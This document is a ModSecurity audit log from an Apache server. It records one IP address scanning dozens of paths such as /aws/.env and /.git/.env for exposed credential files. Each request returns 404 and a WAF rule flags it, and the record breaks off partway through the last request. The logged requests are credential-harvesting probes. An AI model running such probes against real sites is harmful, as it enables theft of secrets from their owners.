Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267004541423 130913 (- - -)
Stopwatch2: 1789267004541423 130913; combined=4936, p1=326, p2=4540, p3=0, p4=0, p5=70, sr=151, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--84e5547c-Z--
--26388910-A--
[13/Sep/2026:05:36:46.863340 +0300] aqYMPmM7dE9KgIIOpQhd6QAAANc 34.175.231.24 56636 127.0.0.1 7081
--26388910-B--
GET /brevo/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--26388910-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--26388910-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/brevo/.env"] [unique_id "aqYMPmM7dE9KgIIOpQhd6QAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267006747671 115766 (- - -)
Stopwatch2: 1789267006747671 115766; combined=4849, p1=278, p2=4488, p3=0, p4=0, p5=82, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26388910-Z--
--e8e9003d-A--
[13/Sep/2026:05:36:48.660809 +0300] aqYMQGM7dE9KgIIOpQhd6gAAAM8 34.175.231.24 56664 127.0.0.1 7081
--e8e9003d-B--
GET /transactional/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e8e9003d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e8e9003d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/transactional/.env"] [unique_id "aqYMQGM7dE9KgIIOpQhd6gAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267008534934 125939 (- - -)
Stopwatch2: 1789267008534934 125939; combined=4192, p1=259, p2=3814, p3=0, p4=0, p5=119, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e8e9003d-Z--
--b7114e45-A--
[13/Sep/2026:05:36:50.832944 +0300] aqYMQmM7dE9KgIIOpQhd7QAAANY 34.175.231.24 56714 127.0.0.1 7081
--b7114e45-B--
GET /bulk/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b7114e45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b7114e45-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/bulk/.env"] [unique_id "aqYMQmM7dE9KgIIOpQhd7QAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267010682475 150542 (- - -)
Stopwatch2: 1789267010682475 150542; combined=5508, p1=314, p2=5114, p3=0, p4=0, p5=79, sr=150, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b7114e45-Z--
--d70ec350-A--
[13/Sep/2026:05:36:52.833359 +0300] aqYMRGM7dE9KgIIOpQhd7wAAAMQ 34.175.231.24 56762 127.0.0.1 7081
--d70ec350-B--
GET /aws/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d70ec350-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d70ec350-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/aws/.env"] [unique_id "aqYMRGM7dE9KgIIOpQhd7wAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267012713100 120330 (- - -)
Stopwatch2: 1789267012713100 120330; combined=4255, p1=261, p2=3933, p3=0, p4=0, p5=60, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d70ec350-Z--
--8f1b1324-A--
[13/Sep/2026:05:36:54.746959 +0300] aqYMRmM7dE9KgIIOpQhd8AAAAMs 34.175.231.24 56764 127.0.0.1 7081
--8f1b1324-B--
GET /azure/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8f1b1324-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8f1b1324-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/azure/.env"] [unique_id "aqYMRmM7dE9KgIIOpQhd8AAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267014620808 126207 (- - -)
Stopwatch2: 1789267014620808 126207; combined=6624, p1=1864, p2=4689, p3=0, p4=0, p5=71, sr=1007, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8f1b1324-Z--
--d8aede7b-A--
[13/Sep/2026:05:36:56.500722 +0300] aqYMSDTJ6xTvcJoem7f1lAAAAFQ 34.175.231.24 36064 127.0.0.1 7081
--d8aede7b-B--
GET /gcp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d8aede7b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d8aede7b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/gcp/.env"] [unique_id "aqYMSDTJ6xTvcJoem7f1lAAAAFQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267016375534 125257 (- - -)
Stopwatch2: 1789267016375534 125257; combined=5435, p1=396, p2=4951, p3=0, p4=0, p5=87, sr=201, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8aede7b-Z--
--6e199037-A--
[13/Sep/2026:05:36:58.831382 +0300] aqYMSkwu1RSkptiiNIXtwQAAAIM 34.175.231.24 36080 127.0.0.1 7081
--6e199037-B--
GET /cloud/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--6e199037-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6e199037-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cloud/.env"] [unique_id "aqYMSkwu1RSkptiiNIXtwQAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267018702781 128676 (- - -)
Stopwatch2: 1789267018702781 128676; combined=7180, p1=1242, p2=5830, p3=0, p4=0, p5=107, sr=130, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e199037-Z--
--e09b444a-A--
[13/Sep/2026:05:37:00.835675 +0300] aqYMTEwu1RSkptiiNIXtwwAAAII 34.175.231.24 36090 127.0.0.1 7081
--e09b444a-B--
GET /infrastructure/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e09b444a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e09b444a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/infrastructure/.env"] [unique_id "aqYMTEwu1RSkptiiNIXtwwAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267020710841 124958 (- - -)
Stopwatch2: 1789267020710841 124958; combined=8649, p1=307, p2=8259, p3=0, p4=0, p5=83, sr=157, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e09b444a-Z--
--44ca0d31-A--
[13/Sep/2026:05:37:03.579328 +0300] aqYMT2M7dE9KgIIOpQhd8gAAANI 34.175.231.24 36110 127.0.0.1 7081
--44ca0d31-B--
GET /docker/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--44ca0d31-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--44ca0d31-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/docker/.env"] [unique_id "aqYMT2M7dE9KgIIOpQhd8gAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267023449311 130079 (- - -)
Stopwatch2: 1789267023449311 130079; combined=6092, p1=530, p2=5468, p3=0, p4=0, p5=93, sr=200, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--44ca0d31-Z--
--cb60e014-A--
[13/Sep/2026:05:37:04.834253 +0300] aqYMUGM7dE9KgIIOpQhd8wAAANg 34.175.231.24 36126 127.0.0.1 7081
--cb60e014-B--
GET /k8s/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--cb60e014-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cb60e014-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/k8s/.env"] [unique_id "aqYMUGM7dE9KgIIOpQhd8wAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267024713699 120611 (- - -)
Stopwatch2: 1789267024713699 120611; combined=5074, p1=327, p2=4686, p3=0, p4=0, p5=61, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cb60e014-Z--
--6af14a3f-A--
[13/Sep/2026:05:37:07.123391 +0300] aqYMUkwu1RSkptiiNIXtxAAAAI4 34.175.231.24 46610 127.0.0.1 7081
--6af14a3f-B--
GET /kubernetes/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--6af14a3f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6af14a3f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/kubernetes/.env"] [unique_id "aqYMUkwu1RSkptiiNIXtxAAAAI4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267026998865 124593 (- - -)
Stopwatch2: 1789267026998865 124593; combined=4694, p1=283, p2=4352, p3=0, p4=0, p5=59, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6af14a3f-Z--
--f113f404-A--
[13/Sep/2026:05:37:09.165906 +0300] aqYMVWM7dE9KgIIOpQhd9AAAANQ 34.175.231.24 46620 127.0.0.1 7081
--f113f404-B--
GET /terraform/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--f113f404-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f113f404-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/terraform/.env"] [unique_id "aqYMVWM7dE9KgIIOpQhd9AAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267029022842 143144 (- - -)
Stopwatch2: 1789267029022842 143144; combined=10691, p1=234, p2=10392, p3=0, p4=0, p5=65, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f113f404-Z--
--94ebec29-A--
[13/Sep/2026:05:37:11.334246 +0300] aqYMV2M7dE9KgIIOpQhd9QAAAM0 34.175.231.24 46646 127.0.0.1 7081
--94ebec29-B--
GET /ansible/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--94ebec29-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--94ebec29-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/ansible/.env"] [unique_id "aqYMV2M7dE9KgIIOpQhd9QAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267031215863 118441 (- - -)
Stopwatch2: 1789267031215863 118441; combined=4329, p1=225, p2=4020, p3=0, p4=0, p5=83, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--94ebec29-Z--
--4b555b58-A--
[13/Sep/2026:05:37:13.615512 +0300] aqYMWWM7dE9KgIIOpQhd9wAAAMo 34.175.231.24 46656 127.0.0.1 7081
--4b555b58-B--
GET /.git/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
